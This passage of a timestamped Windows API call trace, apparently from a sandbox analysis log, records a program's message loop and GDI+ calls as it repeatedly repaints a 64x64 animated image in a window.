lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0160.988] GdipCreateRegion (region=0x15d710) returned 0x0 [0160.988] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0160.989] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0160.989] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0160.989] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0160.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.989] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.989] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.989] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0160.989] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0160.989] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0160.990] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0160.990] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.990] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0160.990] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0160.990] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0160.990] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0160.990] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.990] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0160.990] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0160.990] GetCurrentObject (hdc=0x27010bab, type=0x1) returned 0x1b00017 [0160.991] GetCurrentObject (hdc=0x27010bab, type=0x2) returned 0x1900010 [0160.991] GetCurrentObject (hdc=0x27010bab, type=0x7) returned 0x1a05067e [0160.991] GetCurrentObject (hdc=0x27010bab, type=0x6) returned 0x18a002e [0160.991] SaveDC (hdc=0x27010bab) returned 1 [0160.991] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x260407c3 [0160.991] GetClipRgn (hdc=0x27010bab, hrgn=0x260407c3) returned 0 [0160.991] SelectClipRgn (hdc=0x27010bab, hrgn=0xfffffffff6040b8a) returned 2 [0160.991] DeleteObject (ho=0x260407c3) returned 1 [0160.991] DeleteObject (ho=0xfffffffff6040b8a) returned 1 [0160.991] OffsetViewportOrgEx (in: hdc=0x27010bab, x=0, y=0, lppt=0x2724a78 | out: lppt=0x2724a78) returned 1 [0160.991] GetNearestColor (hdc=0x27010bab, color=0xffffff) returned 0xffffff [0160.992] CreateSolidBrush (color=0xffffff) returned 0xfffffffffe100190 [0160.992] FillRect (hDC=0x27010bab, lprc=0x15d7c0, hbr=0xfffffffffe100190) returned 1 [0160.992] DeleteObject (ho=0xfffffffffe100190) returned 1 [0160.992] RestoreDC (hdc=0x27010bab, nSavedDC=-1) returned 1 [0160.992] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.992] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010bab) returned 0x0 [0160.992] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbea0dbd) returned 0x0 [0160.992] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.992] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0160.992] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0160.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0160.992] GetSystemMetrics (nIndex=42) returned 0 [0160.992] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0160.992] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0160.992] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0160.993] CoTaskMemFree (pv=0x1e91eca0) [0160.993] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0160.993] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0160.993] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0160.993] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0160.993] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x27010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0160.993] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.993] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x27010bab) returned 0x0 [0160.993] SelectObject (hdc=0x27010bab, h=0x185000f) returned 0x1a05067e [0160.993] DeleteDC (hdc=0x27010bab) returned 1 [0160.993] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0160.993] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0160.994] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0160.994] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0160.994] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.994] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0160.994] WaitMessage () returned 1 [0161.123] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0161.124] IsWindowUnicode (hWnd=0x2031e) returned 1 [0161.124] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0161.124] TranslateMessage (lpMsg=0x15e910) returned 0 [0161.124] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0161.124] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0161.124] GetCurrentThreadId () returned 0xec0 [0161.124] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0161.124] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0161.124] IsWindowUnicode (hWnd=0x2031e) returned 1 [0161.124] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0161.124] TranslateMessage (lpMsg=0x15e910) returned 0 [0161.124] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0161.124] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0161.124] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0161.125] CreateCompatibleDC (hdc=0x3010b83) returned 0x28010bab [0161.125] SelectObject (hdc=0x28010bab, h=0x1a05067e) returned 0x185000f [0161.125] GdipCreateFromHDC (hdc=0x28010bab, graphics=0x15daf0) returned 0x0 [0161.125] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0161.125] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0161.125] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0161.125] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0161.126] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0161.126] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0161.126] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0161.126] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0161.126] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.127] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0161.127] GdipCreateRegion (region=0x15dc20) returned 0x0 [0161.127] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0161.127] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0161.127] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0161.127] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0161.127] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.127] GetSystemMetrics (nIndex=42) returned 0 [0161.127] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0161.127] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0161.127] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0161.127] CoTaskMemFree (pv=0x1e91eca0) [0161.127] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0161.128] GdipCreateRegion (region=0x15d710) returned 0x0 [0161.128] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0161.128] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0161.128] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0161.128] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0161.128] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0161.128] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0161.129] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0161.129] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0161.129] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0161.129] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0161.129] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0161.130] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.130] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0161.130] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0161.130] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0161.130] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0161.130] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.130] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0161.130] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0161.130] GetCurrentObject (hdc=0x28010bab, type=0x1) returned 0x1b00017 [0161.131] GetCurrentObject (hdc=0x28010bab, type=0x2) returned 0x1900010 [0161.131] GetCurrentObject (hdc=0x28010bab, type=0x7) returned 0x1a05067e [0161.131] GetCurrentObject (hdc=0x28010bab, type=0x6) returned 0x18a002e [0161.131] SaveDC (hdc=0x28010bab) returned 1 [0161.131] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xfffffffff7040b8a [0161.131] GetClipRgn (hdc=0x28010bab, hrgn=0xfffffffff7040b8a) returned 0 [0161.131] SelectClipRgn (hdc=0x28010bab, hrgn=0x270407c3) returned 2 [0161.131] DeleteObject (ho=0xfffffffff7040b8a) returned 1 [0161.131] DeleteObject (ho=0x270407c3) returned 1 [0161.131] OffsetViewportOrgEx (in: hdc=0x28010bab, x=0, y=0, lppt=0x27253b0 | out: lppt=0x27253b0) returned 1 [0161.131] GetNearestColor (hdc=0x28010bab, color=0xffffff) returned 0xffffff [0161.132] CreateSolidBrush (color=0xffffff) returned 0xffffffffff100190 [0161.132] FillRect (hDC=0x28010bab, lprc=0x15d7c0, hbr=0xffffffffff100190) returned 1 [0161.132] DeleteObject (ho=0xffffffffff100190) returned 1 [0161.132] RestoreDC (hdc=0x28010bab, nSavedDC=-1) returned 1 [0161.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.132] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010bab) returned 0x0 [0161.132] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbe80dbd) returned 0x0 [0161.132] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.132] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0161.132] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0161.132] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0161.132] GetSystemMetrics (nIndex=42) returned 0 [0161.132] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0161.132] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0161.132] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0161.133] CoTaskMemFree (pv=0x1e91eca0) [0161.133] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x14) returned 0x0 [0161.135] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0161.135] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0161.135] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0161.135] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0161.135] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x28010bab, x1=0, y1=0, rop=0xcc0020) returned 1 [0161.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.135] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x28010bab) returned 0x0 [0161.135] SelectObject (hdc=0x28010bab, h=0x185000f) returned 0x1a05067e [0161.135] DeleteDC (hdc=0x28010bab) returned 1 [0161.135] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0161.136] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0161.136] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0161.136] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0161.136] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0161.136] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0161.136] WaitMessage () returned 1 [0162.755] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0162.755] IsWindowUnicode (hWnd=0x2031e) returned 1 [0162.755] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0162.755] TranslateMessage (lpMsg=0x15e910) returned 0 [0162.755] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0162.756] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0162.756] GetCurrentThreadId () returned 0xec0 [0162.756] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0162.756] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0162.756] IsWindowUnicode (hWnd=0x2031e) returned 1 [0162.756] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0162.756] TranslateMessage (lpMsg=0x15e910) returned 0 [0162.756] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0162.756] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0162.756] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0162.757] CreateCompatibleDC (hdc=0x3010b83) returned 0x24010bac [0162.757] SelectObject (hdc=0x24010bac, h=0x1a05067e) returned 0x185000f [0162.757] GdipCreateFromHDC (hdc=0x24010bac, graphics=0x15daf0) returned 0x0 [0162.757] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0162.757] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0162.757] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0162.758] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0162.758] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0162.758] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.758] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0162.758] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.759] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.760] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0162.760] GdipCreateRegion (region=0x15dc20) returned 0x0 [0162.760] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0162.760] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0162.760] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0162.760] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0162.760] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.760] GetSystemMetrics (nIndex=42) returned 0 [0162.760] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0162.760] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0162.760] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0162.760] CoTaskMemFree (pv=0x1e91eca0) [0162.760] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0162.761] GdipCreateRegion (region=0x15d710) returned 0x0 [0162.761] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0162.761] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0162.761] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0162.761] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0162.761] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.761] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0162.762] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.762] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0162.762] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.762] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0162.762] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.763] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.763] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0162.763] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0162.763] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0162.763] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0162.763] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.763] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0162.763] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0162.763] GetCurrentObject (hdc=0x24010bac, type=0x1) returned 0x1b00017 [0162.763] GetCurrentObject (hdc=0x24010bac, type=0x2) returned 0x1900010 [0162.763] GetCurrentObject (hdc=0x24010bac, type=0x7) returned 0x1a05067e [0162.763] GetCurrentObject (hdc=0x24010bac, type=0x6) returned 0x18a002e [0162.763] SaveDC (hdc=0x24010bac) returned 1 [0162.764] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x280407c3 [0162.764] GetClipRgn (hdc=0x24010bac, hrgn=0x280407c3) returned 0 [0162.764] SelectClipRgn (hdc=0x24010bac, hrgn=0xfffffffff8040b8a) returned 2 [0162.764] DeleteObject (ho=0x280407c3) returned 1 [0162.764] DeleteObject (ho=0xfffffffff8040b8a) returned 1 [0162.764] OffsetViewportOrgEx (in: hdc=0x24010bac, x=0, y=0, lppt=0x27266a8 | out: lppt=0x27266a8) returned 1 [0162.764] GetNearestColor (hdc=0x24010bac, color=0xffffff) returned 0xffffff [0162.764] CreateSolidBrush (color=0xffffff) returned 0x100190 [0162.764] FillRect (hDC=0x24010bac, lprc=0x15d7c0, hbr=0x100190) returned 1 [0162.764] DeleteObject (ho=0x100190) returned 1 [0162.765] RestoreDC (hdc=0x24010bac, nSavedDC=-1) returned 1 [0162.765] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.765] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bac) returned 0x0 [0162.765] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbe60dbd) returned 0x0 [0162.765] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.765] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0162.765] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0162.765] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.765] GetSystemMetrics (nIndex=42) returned 0 [0162.765] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0162.765] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0162.765] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0162.765] CoTaskMemFree (pv=0x1e91eca0) [0162.765] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0162.766] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0162.766] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0162.766] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0162.766] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x24010bac, x1=0, y1=0, rop=0xcc0020) returned 1 [0162.766] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.766] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x24010bac) returned 0x0 [0162.766] SelectObject (hdc=0x24010bac, h=0x185000f) returned 0x1a05067e [0162.766] DeleteDC (hdc=0x24010bac) returned 1 [0162.766] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.767] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0162.767] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0162.767] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0162.767] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0162.767] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0162.767] WaitMessage () returned 1 [0162.951] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0162.951] IsWindowUnicode (hWnd=0x2031e) returned 1 [0162.951] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0162.951] TranslateMessage (lpMsg=0x15e910) returned 0 [0162.951] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0162.952] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0162.952] GetCurrentThreadId () returned 0xec0 [0162.952] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0162.952] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0162.952] IsWindowUnicode (hWnd=0x2031e) returned 1 [0162.952] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0162.952] TranslateMessage (lpMsg=0x15e910) returned 0 [0162.952] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0162.952] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0162.952] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0162.953] CreateCompatibleDC (hdc=0x3010b83) returned 0x16010bae [0162.953] SelectObject (hdc=0x16010bae, h=0x1a05067e) returned 0x185000f [0162.953] GdipCreateFromHDC (hdc=0x16010bae, graphics=0x15daf0) returned 0x0 [0162.953] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0162.953] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0162.953] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0162.953] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0162.953] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0162.953] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0162.953] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0162.954] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0162.954] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0162.954] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0162.954] GdipCreateRegion (region=0x15dc20) returned 0x0 [0162.954] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0162.954] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0162.954] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0162.955] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0162.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0162.955] GetSystemMetrics (nIndex=42) returned 0 [0162.955] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0162.955] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0162.955] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0162.955] CoTaskMemFree (pv=0x1e91eca0) 